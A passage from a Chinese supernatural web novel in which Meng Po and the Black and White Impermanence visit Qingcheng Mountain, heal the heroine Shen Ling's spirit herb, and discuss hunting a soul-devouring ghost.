吴妄看向了哑伯，哑伯点了点头，又指了指手边放着的草药膏和纱布。
“可以了。”吴妄代替哑伯回答道，“不过接下来要定期更换伤口的纱布和药膏，以确认尸毒全都被清除殆尽。”
103. 突然的访客
在剜去沈聆伤口的烂肉后，沈聆又坐在凳子上休息了片刻。
哑伯像是心疼这个小姑娘一样，偷摸着从口袋里拿了一颗大白兔奶糖给沈聆，又摸了摸沈聆的脑袋，微微眯起眼睛，一张脸笑起来满是皱纹。
他看起来已经七八十岁了，驼背着，背上的驼压低了他的身子，让他无法直起身子看人，但也这样，让他能够平视所有在他这里疗伤的人。
“哑伯是我们青城山的大夫，用你们世俗的话来说，也可以说是光脚医生。”吴妄看着哑伯转身又去处理染血的纱布，轻声在沈聆身边说道，“我们青城山都是用草药疗伤的，本门派自有一套药典药经，我们并不喜欢西医的那些药片针剂，毕竟中医传承了千年，自有其博大精深之处，我们病了都是喝的中药，伤了都是敷的药草，而今天你用的所有药，都是我师傅亲手配的。”
“你师父……”
“对，就是那天在幻境里救了我们的人，当时他传音入秘，我们虽然在幻境里听到了他的声音，但他的真身仍在千里之外的青城山，我师父常年闭关，我下山的时候他仍在闭关，没想到最近出来了……这老头儿，不知道葫芦里卖的什么药。”
吴妄缓缓地说着话，然后迈着沉稳的步伐走向窗边。
他伸出修长的手指，轻轻地将那扇有些老旧却依然洁净的窗户缓缓推开。
“沙拉……”
刹那间，一股清新宜人的微风擦过他脸颊旁的发丝，吹入了房间里。
那山风带着几分清醒，带着几分雨后泥土的味道。
沈聆的目光不经意间从吴妄宽厚的肩膀旁擦过，投向了窗外。
首先映入眼帘的是一棵郁郁葱葱、枝繁叶茂的青松，它宛如一位傲然挺立的卫士，静静地守护着这片宁静的天地。再往近看，便能瞧见几座小巧而别致的白砖灰瓦小楼错落有致地分布着，给人一种古朴典雅之感，而更远之处，则是连绵起伏的山脉，它们层峦叠嶂，雄伟壮观，仿佛与天边相接。
这里便是青城山，宛如世外桃源一般，远离尘世的喧嚣和纷扰，没有争斗，只有那份让人沉醉的静谧与安宁。
外面的世界日新月异地发展，外面的人们为世俗名利而奔波着，但住在青城山的修道之人似乎与外界隔绝了，他们与青山为伴，与青松为友，悠然自得于山水之间，所谓的超凡于世外，或许说的就是他们这样的人。
他们修的是“道”，是内心坚守的“道”，而不是功名利禄这些身外之物，他们的物欲很低，寻求的是内心的安宁和充盈，在这里，时间似乎也慢了下来，空气里弥漫着淡淡的悠然，甚至连沈聆也感觉到了几分安宁。
虽然，肩膀上的仍旧是火烧一样的疼痛，在无声地提醒沈聆她的日子并不是过得很悠闲。
——我在青城山不能待太久。
——我还要去积阴德。
——还有沈凝的手术，近期她还有几场手术需要安排签字……
沈聆这么想着，微微舒展的眉头此刻不由得又皱了起来。
吴妄转过头，恰好看到沈聆此刻“苦大仇深”的表情，他猜到了她在想什么。
“……你妹妹暂时没事，我听宋明夷说，李子晨在魂飞魄散之前，将他所有的阴德都赠与你了，你妹妹凭借这些，应该接下来几场手术都没问题，至于平安医院那边，有宋明夷和林凌帮你看着，你不用太担心，签字什么的，你外婆也可以签字。”
“那孩子……魂飞魄散了吗？”沈聆眨了眨眼睛，一愣。
吴妄点了点头。
“那天我和你被拉入厉鬼的幻境之后，宋明夷还被留在外面，当时那只恶鬼正要对她下手，李子晨他们凝结了所有魂力替她挡住了厉鬼的煞气，但也正是如此，他们耗尽了所有的魂力，最终魂飞魄散了。当然，你的‘祭魂’也不必进行了，李子晨的魂魄已经不存在于天地之间了。”
沈聆听着吴妄的话，脑海中浮现出那个可怜的小男孩。
他在死前还被虐待着，在死后还要被镇压、当作小鬼被利用，没想到终于摆脱控制之后，却魂飞魄散……
他是个好孩子。
但就是这么一个好孩子，却不得善终。
这个世界对于好人，真的太苛刻了。
并不是所有的好人都有好报，并不是所有的坏人都有现世报。
所以人们祈求有地府，有死后审判罪行的地方，似乎这样就能平息几分内心的不甘。
但鬼神之事，又有谁能说得准呢？
沈聆沉默了好一会儿，才开口问道：“……那，他永远没办法投胎转世吗？”
“不，他徘徊于天地之间，在吸收足够多的日月精华之后，有可能恢复魂体，到那时候，我们会带她去地府转世的。”
一个清脆而又略显稚嫩的声音忽然在门外悠悠地响起，这声音仿佛带着一种无形的魔力，瞬间吸引住了屋内所有人的注意力。
沈聆、吴妄还有哑伯几乎同时循声望去，只见房门被缓缓推开，一个看上去不过十岁左右的小女孩推开了紧闭的房门。
——这个小女孩那头如丝般细软的头发整齐地在脑后束成了一个俏皮的单马尾，上面还用柔软光滑的绸缎轻轻系住，最后更是别出心裁地绑上了一个精致的蝴蝶结，随着她的动作微微晃动着，宛如一只翩翩起舞的蝴蝶。
她身着一条白蓝相间的裙子，那裙摆之上还精心绣制着可爱的玉桂狗图案，脚上则穿着一双洁白如雪的小布鞋，鞋面上干干净净，一尘不染。
再看她那张红扑扑的小脸，就如同两个熟透了的苹果，鲜嫩欲滴，让人忍不住想要伸手去捏一把，尤其是她那双水汪汪的大眼睛，犹如两颗晶莹剔透的宝石，闪烁着灵动的光芒，仿佛里面藏匿着无数机敏聪慧的小心思。
然而，小女孩并没有直接走进房间里来，而是好奇地环顾了一圈四周。
最终，定她的视线格在沈聆身上，抬起自己那只胖乎乎的小手，伸出一根手指直直地指向沈聆，用略带稚气却又充满肯定的语气说道：“应该就是你吧？你……你就是传说中的第44任阴厨吗？”
“额……我是沈聆，你是……”
小女孩眯着眼睛微笑着，并没有接话。
在她身后的楼梯上，走上来了两个大人，一男一女，男的身材高瘦，穿着黑色的休闲装，理着寸头，女的身材凹凸
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有致，身着白色的旗袍，一头黑长直披散在身后，他们看起来都是三十多岁的模样，似乎是这小女孩的父母，他们走上最后一级台阶的时候，停在了小女孩身后，也看向了沈聆。
吴妄没有说话，他往后退了一步，悄无声息地挡在了这一家三口和沈聆之间。
“你们三个……不是这阳间的人。”
吴妄微微眯起眼睛。
闻言，沈聆心里咯噔一跳，同时，她眼角余光注意到，站在一旁的哑伯继续处理自己的事情了，似乎并不认为眼前出现的这一家三口会造成什么威胁。
“青城山，吴妄道长，久仰大名。”女孩的父亲说着，那双丹凤眼斜着看了一眼吴妄。
女孩的母亲也轻轻一笑，她嘴角虽然上扬着，但眼眸深处尽是寒意：“子涵，你就这么跑过来打扰人家疗伤，也太没礼貌了。”
被称为“子涵”的小女孩闻言，皱起眉头气呼呼地鼓起脸颊、撅着嘴巴说道：“我这不是好奇嘛，你们还说我，你们不是也嘟囔着想看看新任阴厨的样子吗？等了她三天，好不容易等到她从寒潭里出来了。”
——子涵？
沈聆皱起眉头，总觉得自己似乎在哪里听过这个名字。
她恍惚了一下，低下眼眸，认真回想了一圈。
“哎呀哎呀，小姑娘，你不记得了吗？那天，我们还从你身边擦肩而过呢。”女孩的母亲看着沈聆，似乎看破了她内心的困惑。
沈聆抬起头看向她，只见她眼中流转着深意。
微启红唇，她莞尔一笑：“还记得吗？库洛米气球……”
——库洛米气球？
遥远的记忆忽然被翻了出来，那女人的眼眸像是带着魔力一样，沈聆注视着她的眼眸，思绪被她牵引着，脑海中浮现出曾经被自己遗忘的毫不起眼的某个生活中的片段……
……
“爸爸，我想要库洛米的气球！”
“气球？昨天不是买了一个米老鼠的给你了吗？”
“不要，那个是米老鼠，我还想要库洛米的！”
“好好好，买就买，子涵，找你妈报销去……”
“什么就找我报销了，用你自己的私房钱，你的女儿你自己宠……”
“说来，我们家子涵也真是命大，那天得亏生病了，没有上校车，校车走到元山路的时候意外失控，翻下山崖了，听说好多孩子当场就死了，现在能抢救几个回来还是未知数。”
“那必须的！我们家子涵是有福的孩子！”
……
经提示，沈聆终于想起来了！
她想起来了，那是个万里无云的晴天，那天，自己刚从殡仪馆出来，刚刚办理了父母的火葬手续之后，她心事重重地往家的方向走去，她心里牵挂着祭魂的事情，因为那天晚上，她还要去瑞景路的十字路口送别母亲。
就在那天白天，她遇到了吴妄。
但在遇到吴妄摆出的算命摊之前，她曾经与路人一家三口擦肩而过，而当时，那小女孩正牵着父母的手，吵嚷着要买库洛米祈求。
“啊！我想起来了！你们是那天……那天从我身边走过的一家三口？！”
104. 孟婆
“想起来了？”子涵的母亲一挑眉看着沈聆，那双深色的眼眸像是能够看透沈聆内心所有想法一样，在她的视线落在身上的时候，沈聆不由得打了个冷颤。
谁都不喜欢被看透的感觉。
但在那个女人面前，似乎这个世界上就没有任何能藏在内心的秘密，她的脸颊瘦削着，红唇如火，仿佛一条盘曲身子的蛇一样，吐着红色的蛇信子，冰冷又无情地将猎物的一切看在眼里。
“……嗯，我想起来了，你们是那天和我擦肩而过的一家三口。”
“记性还不错。”子涵的父亲也微微一笑。
这一家三口虽然极力表现出一副亲和友善的模样，但不知为何，他们的眼眸却像是没有温度一样，看着所有人都是不带感情的眼神，那眼神完全不像是在看着一个活生生的人，而更像是在看着一个毫无感情、毫无生命的物件。
“你们究竟是谁？为什么你们知道阴厨的事情？”沈聆右手撑着桌子，从椅子上站起身，她警惕地看着眼前的一家三口，感觉到这三个人并不简单！
这里可是青城山。
是道家圣地。
按道理，任何妖魔鬼怪都不敢闯入的地方。
这三个人为什么就这么大摇大摆地在道观里自由行走？
按照吴妄的说法，这三个人并不是阳间的活人，那么，这三个人不是神，就是……
“好了好了，不要这么严肃的表情，放心吧，我们可不是吃人的恶鬼。”小女孩微微一笑，“我就是来看看你的情况如何，还有，你身上的灵元草……”
她说着，轻轻动了动指尖。
下一秒，沈聆感觉到胸口一阵温热，她低下头，却发现胸口有一个光点若隐若现，并随着小女孩的动作，那光越来越亮，在这白色的光芒中，似乎可以看到一株绿莹莹的仙草摇晃着身子。
这是她体内的灵元草。
“你们连灵元草都知道？”吴妄眯起眼睛，不由得感觉到事情的棘手。
灵元草的事情，他们一向都是保密的。
不知道这三个人是如何得知灵元草的下落，甚至，他们有能力让藏在沈聆身体里的灵元草现身。
这三个人绝非等闲之辈！
“哈哈哈，小伙子，我不止知道灵元草，我甚至还见过当年种下灵元草的人呢。”子涵用稚嫩的童音说着，她看着灵元草的目光，就像看着一个好久不见的故人一般，染上了几分怀念。
“怎么可能，灵元草是千年前的东西，楼兰古国都已覆灭，种下灵元草的人早死了一千多年了，你怎么可能……”吴妄说着，忽然停住了。
他像是想起了什么，审视的目光在小女孩身上转了几圈，脑海中倒是浮上了另一个猜想。
小女孩开朗一笑：“你猜的没错，我就是黄泉畔的那个人，千年前，种下灵元草的那个人路过黄泉畔的时候，和我打过招呼，今天，我受故人之托，来看看他心爱的灵元草是否无恙。”
“黄泉畔……”沈聆皱起眉头，也想到了什么，“难道……难道你是……”
“行了行了，孟婆，你也几千岁了，不要拿这些小辈寻开心了。”
突然，一阵低沉而沧桑的声音自门外缓缓传来，那声音仿佛穿越了悠悠岁月，带着无尽的故事与阅历。
众人闻声望去，目光纷纷聚焦在了门口处——
只见一位身着道袍的老者正徐徐走来，他每一步都走得沉稳有力，老者的头发和胡须已然全部花白，如同冬日里的皑皑白雪，在阳光下闪烁着微弱的银光，他身上那件浅灰色的道袍随风轻轻飘动，衣袂翩翩之间，更增添了几分超凡脱俗之感。
尽管岁月在他的脸上刻下了无数深深浅浅的皱纹，但这丝毫没有掩盖住他那与生俱来的道骨仙风，相反，这些皱纹犹如古老的纹路一般，反而让他显得愈发神秘莫测，令人心生敬畏之情。
是玉蘅子真人。
"师傅。"吴妄见到这位老者后，微微低下了头，并站直了身子。
平日里，吴妄也偷偷称呼自己的师傅称为“老家伙”或者“老头儿”，然而此时此刻，当真正面对玉蘅子真人时，他却收起了那份随意与不羁，展现出了难得一见的恭敬与谦顺。
只见他双手抱拳，恭恭敬敬地向老者行了一礼。
沈聆发现，这一刻，往日里那个潇洒不羁、自由自在的吴妄，竟变得像孙悟空见到如来佛祖那般拘谨，就连手脚似乎也不知该如何安放才好。
——师傅？
沈聆眨了眨眼睛，看见那老者已经走进了房间，他的言行举止都带着几分风骨，让人不由得肃然起敬，或许，这就是修炼了多年的得道真人的气场。
玉蘅子真人的视线在沈聆身上转了一圈，随后看了一眼哑伯。
哑伯对着玉蘅子真人点了点头，算是回答他没有问出口的问题。
“……嗯，伤口处理好就好了，我也算对婉婉有了个交代。”
“婉婉？”沈聆眨了眨眼睛，“婉婉……是我的外婆吗？”
玉蘅子真人一笑：“天地之间，我只认识一个婉婉，没错，就是你外婆，说来，你这孩子长得跟你外婆年轻的时候还真是有几分相似，我刚认识她的时候，她也是你这个年纪。只不过，她年轻的时候更清冷一点，一副‘高岭之花’的样子，谁都不让靠近……没想到一晃过去这么多年，她的外孙女也长大了，我们终归是老了。”
玉蘅子真人看着沈聆，感慨万千，他的视线似乎是透过沈聆看到了那当年亭亭玉立的女孩，只不过，这一晃，六七十年就过去了，一辈子的时间，在这一刻仿佛缩短如一瞬间一样，弹指之间，年岁流逝。
“岁月不饶人啊，玉蘅子。”子涵轻轻一笑，“你也老了，我当年刚见你的时候，你才不过十岁，坐在门外那棵松树上摘松叶，还从松树上掉下来，被师傅好一阵骂。”
玉蘅子真人捻了捻胡子，
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点了点头：“这么久远的事情，我早就都忘了……那可能是1910年的事情了吧，那时候大家还是穿着长袍马褂的时候，我正是喜欢热闹的年纪，老是偷偷翻出墙外去看街上的木偶戏，等回来的时候发现师傅已经臭着脸等在房里了，最后我被师兄们拖去禁闭室、被罚关禁闭七天，哈哈哈哈……”
“1910年？”沈聆一惊，“但是现在是2024年，难道您已经一百多岁了吗？”
“哈哈哈哈……”玉蘅子真人轻笑，“我也不知道自己究竟几岁了，我只知道我在这个人世间似乎已经活了很久很久了……苏东坡曾言，‘哀吾生之须臾，羡长江之无穷’，人生，终归是有尽头的，年龄只不过是一个数字，我是二十岁，还是一百岁，又有什么重要的呢？说到底，也不过是天地一粟罢了。”
老者淡然地说着，言语间丝毫没有对死亡的恐惧，更没有对未知的不安。
他的人生，仿佛行走在一条康庄大道上，任何一个方向，都是坦途。
他没有任何畏惧，也没有遗憾。
“放心吧，我们俩没那么快带走您的。”子涵妈妈说着，笑意更深了几分，“我还想多喝几次您老的寿山毛尖呢。”
“带走？”吴妄皱起眉头。
他这才注意到，子涵的爸爸妈妈一个穿着白色的旗袍，一个穿着黑色的休闲套装，这一黑一白的配置，怎么看着这么眼熟。
“你们是……黑白无常？”沈聆也听出了子涵妈妈的话外之音，“你们是黑白无常和孟婆？！”
“哎呀，不要说什么孟婆孟婆的，好老啊！”子涵噘着嘴说，“人家明明是一个可爱的小女孩！”
“你都几千岁了，还化作小女孩的模样装嫩，羞不羞。”玉蘅子真人斜眼看着子涵。
子涵啐了一口，脸颊鼓鼓着、心里不服气：“那又怎样，天上的那些老东西下来的时候也都喜欢化形成不同的样貌，观音尚且有千面呢，我就喜欢当小女孩怎么了。”
玉蘅子真人轻轻一笑：“也得亏这两位黑白无常鬼差大人陪你演戏，你这孟婆汤不用熬了吗？每天黄泉畔的人那么多，可等着你的汤忘却前尘呢。”
“没事没事。”子涵摆了摆手，“现在地府扩编了，多了很多帮手帮我一起熬汤，我定下孟婆汤的配方之后，他们按照我的流程做就行了，现在早就是流水线生产了，不像以前只有我一个人忙里忙外、当牛做马的。”
子涵说着，看向了沈聆。
小女孩的瞳孔微微泛出了红光，她似乎透过沈聆，看到了她身体里的灵元草。
“我这次来，是想来看看灵元草的……灵元草在这人世间辗转了千年，主人也更替了许多任。千年前，它的主人在路过黄泉畔的时候，托了我一件事情，受人之托、终人之事，我得来看看，完成我答应过的事情。”
她说着，朝着沈聆伸出手，手中红光乍现后，一株盛开的曼珠沙华出现在了子涵的手掌中。
105. 曼珠沙华
在子涵的手中，那曼珠沙华的色泽正悄然发生着变化，变得越来越深沉浓郁。
起初的时候，它仅仅是一朵小小的、含苞欲放的花朵，宛如羞涩的少女，静静地蜷缩着，带着几分矜持与含蓄。
但随着子涵（孟婆）开始催动自身的神力，奇妙的景象逐渐显现出来——众人只见那曼珠沙华的周围，红光愈发显著，如同被点燃的火焰，光芒四溢，细细密密的光点如同闪烁的精灵，轻盈地浮动在曼珠沙华的旁边，为它增添了几分神秘的气息。
在神力的持续催使之下，这朵曼珠沙华仿佛接收到了阳光最温暖的抚慰，开始慢慢地、小心翼翼地展开那柔软的枝叶。每一片叶子都像是精心雕琢的艺术品，细腻而富有生机，它们缓缓地舒展着，仿佛在诉说着一个古老而神秘的故事。
最后，那柔软的花瓣也逐一绽开。花瓣如丝般柔软，又似绸缎般光滑，它们相互交织、簇拥着，形成了一朵娇艳欲滴、美轮美奂的曼珠沙华。
此时的它，已然成为了众人瞩目的焦点，散发着独特而迷人的魅力，仿佛承载着无尽的神秘与力量。
像是呼应到了曼珠沙华的神力，沈聆体内的灵元草也展开了叶子。
沈聆缓缓地垂下头，目光落在自己的胸口处，惊讶地发现那里正散发出一股温热的气息，定睛一看，原来是那株珍贵无比的灵元草正在微弱的光芒中闪烁着耀眼的光辉，仿佛拥有生命一般跳动着。
“沙拉……”
就在这一刹那间，无数颗如血般艳丽的曼珠沙华红色光点如同精灵一般在空气中欢快地跃动起来，它们迅速聚集在一起，相互交织，竟然神奇地搭建出了一座由光点构成的桥梁，这座神秘而美丽的桥梁宛如一道绚丽的虹光，径直朝着沈聆延伸而来，最终稳稳地抵达了她的身旁。
这像是草本植物之间的羁绊和牵引，也像是两株仙草之间神奇的共鸣。
当那些曼珠沙华的光点靠近时，作为灵元草的新主人，沈聆立刻感受到一种奇妙的变化。
她觉得自己的身体似乎变得轻盈了许多，仿佛失去了重量一般，而那些跳跃的光点则犹如一群顽皮的孩子，围绕着她欢快地旋转着，与此同时，一股无形的强大力量透过曼珠沙华的花瓣源源不断地注入到她体内，滋养着那颗原本略显虚弱的灵元草。
——好厉害……
沈聆慢慢地合上双眼，全身心地沉浸在这种美妙的感受之中。
渐渐地，她察觉到右肩膀上传来的阵阵剧痛开始逐渐减轻——那种被尸毒侵蚀所产生的灼热刺痛感，此刻竟化作了一片清凉，就好似有一双温柔的手轻轻地将冰块敷在了她那还在流血不止、火辣辣作痛的伤口上，随着疼痛的不断消退，沈聆终于长长地舒了一口气，心中的紧张和恐惧也随之烟消云散。
这种舒适的感觉令沈聆沉醉不已，她情不自禁地享受着这一刻的宁静与放松，不仅伤口的疼痛明显减弱，就连身体的疲惫之感也在不知不觉中消失了大半，此刻的她，仿佛重新焕发出了生机与活力，能够以更加从容的姿态去面对未来的挑战。
“这是曼珠沙华的治愈能力。”子涵解释道，“曼珠沙华生长于黄泉畔，一共有阴阳两株，曼珠沙华的阳株有剧毒，但阴株有滋补之灵，正好对应灵元草的阴性，能滋补灵元草的受损，千年前，灵元草的主人将曼珠沙华的种子交给了我，拜托我将曼珠沙华种在黄泉畔，为的是有朝一日若灵元草受损，能以曼珠沙华加以滋养，让灵元草不至于枯萎而死。”
“原来如此，这就是他请你帮的忙。”玉蘅子真人点了点头，随即，话锋一转，“但是，据我所知，孟婆，你可不是这么容易就答应帮别人忙的人，对方一定给了你很大的好处吧。”
子涵（孟婆）斜着眼睛瞪了一眼玉蘅子真人，有种心思被戳穿了的感觉。
“这个嘛，当然是给了我一定的好处的，否则你以为这些曼珠沙华好养啊？这些花花草草的很难活的，黄泉本就暗无天日，我可是花了许多力气，才探索出用血养花的方法。”子涵说着，摇了摇头，语气中带着几分惋惜，像是想起了许久不见的故人，眼眸浮上了一层光，“只不过，那个人终究是看不到这些了。也不知道他此刻在哪里，希望他也已经找到他想找的人了吧。”
对于千年前种下灵元草的人，孟婆并没有透露太多。
那个人已经随着时间逝去，这个世界上再也没有他的痕迹，甚至他的古国楼兰也都已经化为尘土。
但令人没想到的是，那人转入轮回投胎后，居然与沈聆还有一段因缘际会，而这一切，也都是后话。
当下。
子涵利用曼珠沙华治愈了沈聆体内受损的灵元草，也缓解了沈聆身上的尸毒，减轻了她的痛苦。
子涵妈妈微微一笑：“你们青城山的草药虽然厉害，但还得是我们婆婆的曼珠沙华好使啊。”
子涵抗议：“都说了不要叫我婆婆！谢必安你听不懂吗？我们在演戏！在情景play，你懂不懂啊，真破坏氛围！”
“孟婆居然会说英文，时代真是变了。”吴妄一挑眉。
“都说了不要叫我孟婆！叫人家小子涵！”
玉蘅子真人看向了子涵爸爸：“不知道关于下尸毒的恶鬼，两位鬼差是否有查到蛛丝马迹？”
子涵爸爸点了点头：“嗯，我们在阴间也察觉到了阳间的动荡，今日，牛头马面反馈，在陵川市附近，经常有许多原本应该转入地府的魂魄不明原因地失踪了，牛头马面勾不到魂魄，就来禀告我们，于是我和谢必安特来陵川市调查，孟婆听说灵元草也在陵川市，就跟着过来看看……”
说话的那个人，是范无咎，是黑无常。
而他口中的谢必安，就是此刻化身
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为子涵妈妈的白无常。
他们二人行走在人世间，负责将已死之人的魂魄引入地府。
玉蘅子真人捻了捻自己的胡子，沉声说道：“我上次破了那恶鬼的幻境，多半是惊动了她，她虽然将我徒儿和婉婉的外孙女放了，但是也就此隐藏了自己的行踪，打草惊蛇，这几日陵川市的煞气淡了许多，多半是她已经藏起来了，一时半会儿，还真不太好找。”
“那家伙，居然敢吸食新丧之人的魂魄，还丢弃在乱葬岗里，实在是太过嚣张了！”黑无常语气中多了几分愤怒，“我们一定要把她捉回去！”
“从那只鬼的道行上看，那可不是小角色呢。”白无常调侃，“你要知道，厉鬼，都是带着冤屈弥留在人世间的，她在此基础上，还吸食了许多魂魄、受了人间的香火，提高自身修为，现在的她，估计已经超脱了一般鬼魂的存在，甚至于可以说是‘阴神’。不是一个好解决的小角色了。”
吴妄也补充道：“嗯，而且那只厉鬼会窥探到人心深处的心结，从而钩织幻境，这已经不是普通的厉鬼能做到的程度了，她从沈聆第一次唤魂的时候就盯上沈聆了，估计是想要用阴五行的沈聆来提升修为。后面沈聆体内有灵元草的事情，更是让她加深了对沈聆的执念，我觉得，她后面还会来找沈聆的麻烦，毕竟无论是灵元草还是沈聆，对她来说都是提升修为的‘补品’，她是不会轻易放弃的。”
“无论如何，还是得带她回去，十八层地狱等着的他。”黑无常说道，“在她死时，不知道出了什么岔子，她的魂魄并没有及时转入地府，现在为祸人间，一旦上头查下来，我们都有责任，趁着阎王爷不知道，我们赶紧把这件事情给了结了。”
“嗯。”
众人谈话间，孟婆手中曼珠沙华的光逐渐黯淡了下去。
众人看去，子涵似乎已经完成了对灵元草的修复，此刻，沈聆身上灵元草的光刺眼了几分，沈聆低下头，看见胸口的灵元草的化形正轻轻摇晃着叶子，似乎在感谢孟婆对它的帮助。
“谢谢你，灵元草，谢谢你一直在帮我，如果没有你，我恐怕已经被尸毒害死了。”沈聆看着灵元草，轻声说道。
那灵元草像是听懂了沈聆的话，微微摇晃着叶子，也像是在回应沈聆的话。
子涵一抬手，收起了手掌心的曼珠沙华：“好了。我也算是完成了故人的托付，沈聆，虽然你现在伤口并没有完全愈合，但是有青城山的草药和曼珠沙华的加持，你应该七天之内就可以恢复，但是我没办法保证能够不留伤疤，女孩子都有爱美之心，但是这件事情估计是不可避免的。”
毕竟是剜肉，毕竟是尸毒。
要不留任何伤疤，还是不太现实。
“没关系。”沈聆轻声回答，“我不在乎那些，只要灵元草能好好的就好，这是秦琴托付给我的东西，我要照顾好它。”
106. 徐婉年
子涵一家三口在简单的拜访后，便离开了青城山。
他们此行来青城山的目的，就是子涵（孟婆）想看看灵元草的情况，现在修复了灵元草，她也就打算离开青城山了，毕竟这里除了山，什么都没有，放眼望去全都是道士，太无聊了，还不如回去陵川市好好玩玩，而黑白无常便与她一同离开了，毕竟他们在人间的身份是子涵的父母，作为监护人，自然还是要跟着孩子的。
在子涵一家三口离开后，玉蘅子真人简单了解了一下灵元草的情况和哑伯的治疗效果，认为没问题后，便吩咐吴妄带沈聆到青城山的后厢房暂居。
青城山按规矩是不允许女性入内的，但因为沈聆是伤员，因此可以让她暂时居住在后厢房，后厢房与前院隔了小半个山头，前院毛毛躁躁的小道士们不至于冲撞了沈聆养伤，而沈聆作为女客，也不算住在青城山道观中，也算是两全其美的做法。
“后厢房在后山的地方，绕过寒潭之后就是后山，通常也不会有人到后山来，你可以放心在后山养伤。”吴妄带着沈聆往后厢房去。
两人缓缓地走着，一前一后穿过那座古色古香的道观的后花园。
沈聆目光随意一扫，便瞧见了后花园中竟有一个圆形的池塘，只见那水面上漂浮着朵朵翠绿的莲叶，宛如一片片碧绿的玉盘，然而，这池塘看上去仿佛许久无人打理，显得有些荒芜。
池塘中的水呈现出一种深邃的墨绿色，让人难以看清其底部究竟隐藏着什么，隐约间，可以发现池塘四周布满了厚厚的青苔，这些青苔如同古老的岁月痕迹，诉说着这座道观曾经的沧桑变迁。
而当沈聆与吴妄逐渐靠近池塘时，原本平静如镜的水面忽然泛起一阵轻微的涟漪，似有某种奇异之物正在水底游动，就在沈聆好奇地想要一探究竟之时，那动静却又如鬼魅般悄然潜入水下，消失得无影无踪。
此时，阵阵凉风吹过，带着丝丝寒意。
二人继续朝着后山走去，沿途的风景也越发显得萧瑟凄凉起来。
周围一片寂静冷清，唯有风声在耳边呼啸而过。
在前院的时候，偶尔还能碰见几个小道士匆匆忙忙地低着头从身边擦肩而过，可随着脚步不断向后山迈进，遇见的人影变得越来越稀少，直至最后几乎完全看不到任何人的踪迹。
来到后院，映入眼帘的是满地枯黄的落叶。
这些落叶凌乱地散落在青石板路上，仿佛被遗弃的孤儿，无人问津。它们就这样毫无规律地堆积在一起，任由时光的流逝将它们渐渐吞噬，最终化为尘土。
或许，这就是道家讲究的“道法自然”，任何事情都不要违背其本身的发展规律，任由它自然而然地生长、盛放、凋零、枯萎，或许才是最好的。
“你从小在青城山长大？”
沈聆看着吴妄走在前面的背影，有点儿好奇地开口问道。
“嗯。”
吴妄头也不回地回答，他对这座道观已经熟得不能在熟，每一个角落都有他的记忆，他甚至闭着眼睛都能在里面找到路。
“当时……你掉下悬崖的时候……是你的师傅救了你？”
“对。当时我从断崖上摔下去，原以为必死无疑，没想到悬崖下是一个深潭，我落入水中，倒是没有死去，顺着水流被冲到了下游后，遇到了我师傅，当时他正在寻访山间奇景，忽然就看到河边一个孩子被冲上了岸，于是他救了我，把我带回了青城山，从那个时候开始，我就在这里住下了。”
吴妄语气平静地说着当年的事情，此刻，倒也没有隐瞒沈聆的打算，毕竟幻境里的事情也都让她看到了，对方也不是有恶意的人，既然如此，倒不如坦诚相待。
沈聆点了点头：“你放心，我绝对不会把你的事情说出去的。”
轩辕氏的稀血引来了无数觊觎的人，同时，也给轩辕氏的后代带来了杀身之祸，沈聆知道这件事情的严重性，也知道或许吴妄就是轩辕氏遗留在这个世界上最后的骨血，因此，只有把他好好藏着，才能确保他的一生安然无恙。
或许，玉蘅子真人也是这么考虑的。
“在我20岁之前，我从来没有离开过青城山，我师傅不让我离开这里，他认为我应该潜心修道，不要浪费我身上关于修道的悟性和天赋。”
“玉蘅子真人也是为了你着想……毕竟，你也看到了吴家村发生的事情，把你藏起来，才能保证你的安全。”
“但是光是一味逃避难道就能忘却轩辕氏一族的仇恨吗？”
走在前面的吴妄忽然停下了脚步，跟在他后面沈聆忙停了下来，差点儿撞到吴妄的后背。他们俩正走到走廊的转角处，前面是一个圆弧形的拱门，门外似乎是更加宽阔的天地。
吴妄微微回过头，看着沈聆的眼神是前所未有的严峻，这一刻，他似乎不再是逍遥自在的道长，也不是漫天开价的路边摊算子，而是一个背负着全族血海深仇的少年。
“我是不会忘记吴家村的屠村惨案的，我一定要找到顾老五那伙人，我要问出当年的幕后真凶到底是谁。”
沈聆听着吴妄掷地有声的话，沉默了半晌。
“……但是，你师傅的意见呢？”
“我没问过。”
“道长，你是趁着你师傅闭关的时候跑下山的吧？”
“那又如何。若是他想要罚我，尽管处罚便是，但我有第一次就会有第二次，我是一定要下山的，我一定要找到当年的那伙人，否则，我寝食难安。”
吴妄说着，握紧了拳头。
他背对着沈聆，阳光从他身前照来，擦过他的肩膀，将他的影子拉长，笼罩在沈聆身上。
沈聆张了张嘴，原先是想要宽慰他，但话到了嘴边，却不知道该怎么说。
毕竟，这不是发生在她身上的事情，她是无法体会全族上下被残忍屠杀的心情，更无法体会生母在面前被亲手杀死的恨意，任何安慰的话语在这个时候听起来都太过苍白无力，毕竟“感同身受”这四个字，本
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身就无法真正做到。
想了半天，沈聆轻声说了一个字：“好。”
吴妄疑惑地回过头看着沈聆：“好什么？”
“我尊重你的决定，我会帮你的。”沈聆认真地看着吴妄。
吴妄对上了沈聆那双清澈的眼睛，他沉默了半晌，伸出手摸了摸沈聆的脑袋。
“……行了，我现在也没有其他的办法，也就说说这些空话罢了，你看着吧，今天晚上师傅估计就要罚我了，藤条还是紧闭，终归是逃不过的。”
“我去帮你说说情？”
“你？如果你外婆来，或许还行，你就算了吧，你我不过是小辈罢了，在他老头面前，说话都没有分量。”
“诶？为什么我外婆来说情就可以啊？”沈聆眨了眨眼睛，似乎嗅到了一丝八卦的味道，她跑到吴妄身边，好奇地看着吴妄，“我说，你是不是知道些什么啊？从刚才听到你师傅提到‘婉婉’二字开始，我就感觉不太对劲……我外婆的名字是叫徐婉年，但是知道的人并不多，大家都以夫姓称呼她，基本上都是喊她孙家婆婆，但是你师傅张口就叫她‘婉婉’……这也太亲昵了吧！是不是其中有什么我不知道的事情啊？！”
吴妄看着沈聆八卦的表情，白了她一眼。
“你这个人，怎么这么八卦？”
吴妄推开了沈聆，自顾自往前走去。
“说嘛说嘛！是不是我外婆拜托他带我来青城山疗伤的？为什么我外婆这么信任你师傅啊？但是你师傅好像已经一百多岁了诶，虽然看起来是六七十岁的外貌，但是是不是比我外婆大太多了啊？”
沈聆小跑步跟上了吴妄，像一只小麻雀一样围着他叽叽喳喳地问。
